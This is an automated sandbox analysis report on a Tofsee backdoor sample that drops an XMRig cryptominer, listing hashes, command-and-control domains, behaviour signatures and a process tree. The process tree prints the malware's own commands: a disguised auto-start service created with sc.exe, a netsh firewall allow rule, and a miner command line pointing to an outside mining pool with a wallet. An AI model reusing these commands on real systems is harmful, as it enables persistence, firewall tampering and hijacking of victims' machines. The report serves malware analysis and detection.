Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-05-2023 11:39

General

  • Target

    file.exe

  • Size

    321KB

  • MD5

    bc7c2a8a4a55d3d8091b57b050721465

  • SHA1

    585d80c0eca34a12f2ac79e6e6d1c97c1bf6ab62

  • SHA256

    664804be369abbc16ab815f94b340fda7c9bfe43372d706c85ead10d609725ba

  • SHA512

    b2dbd260ce0577db7e15f19f44373910678f885745eb54a288788b384a799d0d72dd533f1d7c28da846b12170600dd6cff943b541e9bd8b5c119103c5cf97eb5

  • SSDEEP

    3072:4QZggfPJhkK5MZo43bw+2WMWYNRb/a+dK6TZHVuNCLPEqDYCYy5/9Q4kp7t:4APIXoWkWMWYNU+RTzHPEqDYDj

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4396
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rrgnetih\
      2⤵
        PID:1340
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\dgzkktuu.exe" C:\Windows\SysWOW64\rrgnetih\
        2⤵
          PID:2320
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rrgnetih binPath= "C:\Windows\SysWOW64\rrgnetih\dgzkktuu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4364
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rrgnetih "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3528
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rrgnetih
          2⤵
          • Launches sc.exe
          PID:4376
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1020
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 1312
          2⤵
          • Program crash
          PID:3808
      • C:\Windows\SysWOW64\rrgnetih\dgzkktuu.exe
        C:\Windows\SysWOW64\rrgnetih\dgzkktuu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2276
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2116
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 512
          2⤵
          • Program crash
          PID:4704
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 4396 -ip 4396
        1⤵
          PID:5036
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4532 -ip 4532
          1⤵
            PID:2180

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\dgzkktuu.exe

            Filesize

            11.6MB

            MD5

            af2a43eb37e9252fff148ea7f61aa712

            SHA1

            579e597e16977a8f94c514270c5175d29b6c3622

            SHA256

            53e5f53e2888ff3109ef00c0a4311be1124c5a3c08872e7458d81d4078409865

            SHA512

            b828cbd5087d335cdedf676ac420f8d8a11a006caae2f196446749aaeb52459b6d073c6cf81f8f4d87fa82542dd8f6ebfc3c13eba17958eb7239584abee155ed

          • C:\Windows\SysWOW64\rrgnetih\dgzkktuu.exe

            Filesize

            11.6MB

            MD5

            af2a43eb37e9252fff148ea7f61aa712

            SHA1

            579e597e16977a8f94c514270c5175d29b6c3622

            SHA256

            53e5f53e2888ff3109ef00c0a4311be1124c5a3c08872e7458d81d4078409865

            SHA512

            b828cbd5087d335cdedf676ac420f8d8a11a006caae2f196446749aaeb52459b6d073c6cf81f8f4d87fa82542dd8f6ebfc3c13eba17958eb7239584abee155ed

          • memory/2116-189-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-196-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-200-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-199-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-198-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-197-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-195-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2116-194-0x00000000008A0000-0x0000000000991000-memory.dmp

            Filesize

            964KB

          • memory/2276-168-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-172-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-153-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/2276-154-0x00000000017D0000-0x00000000017D6000-memory.dmp

            Filesize

            24KB

          • memory/2276-157-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-160-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-161-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-162-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-163-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-164-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-166-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-165-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-141-0x0000000000450000-0x0000000000465000-memory.dmp

            Filesize

            84KB

          • memory/2276-167-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-170-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-169-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-171-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-150-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/2276-173-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-175-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-174-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-176-0x00000000017E0000-0x00000000017F0000-memory.dmp

            Filesize

            64KB

          • memory/2276-177-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/2276-180-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/2276-181-0x0000000007000000-0x000000000740B000-memory.dmp

            Filesize

            4.0MB

          • memory/2276-184-0x0000000007000000-0x000000000740B000-memory.dmp

            Filesize

            4.0MB

          • memory/2276-185-0x00000000025D0000-0x00000000025D7000-memory.dmp

            Filesize

            28KB

          • memory/2276-149-0x0000000000450000-0x0000000000465000-memory.dmp

            Filesize

            84KB

          • memory/2276-147-0x0000000000450000-0x0000000000465000-memory.dmp

            Filesize

            84KB

          • memory/2276-144-0x0000000000450000-0x0000000000465000-memory.dmp

            Filesize

            84KB

          • memory/2276-145-0x0000000000450000-0x0000000000465000-memory.dmp

            Filesize

            84KB

          • memory/4396-134-0x0000000000830000-0x0000000000843000-memory.dmp

            Filesize

            76KB

          • memory/4396-139-0x0000000000830000-0x0000000000843000-memory.dmp

            Filesize

            76KB

          • memory/4396-138-0x0000000000400000-0x00000000006CE000-memory.dmp

            Filesize

            2.8MB

          • memory/4532-146-0x0000000000400000-0x00000000006CE000-memory.dmp

            Filesize

            2.8MB